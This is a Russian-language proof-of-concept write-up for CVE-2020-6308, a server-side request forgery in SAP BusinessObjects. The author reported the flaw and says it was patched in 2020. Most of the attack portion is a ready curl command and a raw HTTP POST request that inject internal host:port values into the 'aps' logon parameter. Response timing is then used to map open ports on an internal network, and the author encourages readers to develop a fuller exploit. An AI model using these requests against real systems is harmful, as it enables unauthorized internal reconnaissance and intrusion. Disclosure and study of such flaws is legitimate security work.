
PoC CVE-2020-6308
Платформа SAP BusinessObjects Business Intelligence Platform (Web Services) версий 410, 420, 430 позволяет неаутентифицированному злоумышленнику внедрять произвольные значения в качестве параметров CMS для выполнения запросов к внутренней сети, которая иначе недоступна извне. Следите за мной в Twitter или пишите в личные сообщения по вопросам: https://twitter.com/initroott
Я сообщил о проблеме в SAP в мае 2020 года, патч выпущен в октябре 2020. Вы можете разработать собственный PoC дальше, однако я предоставлю немного справочной информации. Функция CMS не проверяет указанный адрес. Если межсетевой экран хоста настроен неправильно, можно легко определить открытые порты или внутреннюю сеть на основе ответов на запросы. В примере ниже я покажу, как можно увидеть открытые порты с помощью запроса cURL. В примере ниже у меня есть хост SAP (192.168.0.191), атакующая машина (192.168.0.149) и другое устройство, например внутренний маршрутизатор (192.168.0.1).
Наш хост SAP имеет следующие открытые порты:

А наш внутренний маршрутизатор имеет следующие открытые порты: 53,80,34573

Итак, давайте протестируем это: мы можем определить открытые порты просто на основе времени ответа на запрос. Примеры ниже:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Тестирование следующих нагрузок:
Здесь вы можете видеть результаты теста времени для закрытых портов, в среднем около 5 мс..

Здесь вы можете видеть результаты теста времени для открытых/фильтрованных портов, намного больше..

Теперь нижеприведенное не идеально, так как разные маршруты, некоторые межсетевые экраны могут влиять на результаты. Однако это должно дать вам представление о том, с чего начать создание более качественного эксплойта. Вышеописанное можно настроить, создав базовую линию, а затем работая дальше от нее. Я определенно советую взглянуть на настройку прослушивателя, а затем посмотреть, что произойдет.
Ниже показано, как запрос будет выглядеть в Burp с параметром APS, являющимся уязвимой точкой внедрения. Более простой PoC — просто внедрить значение canary token и ждать триггера.
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp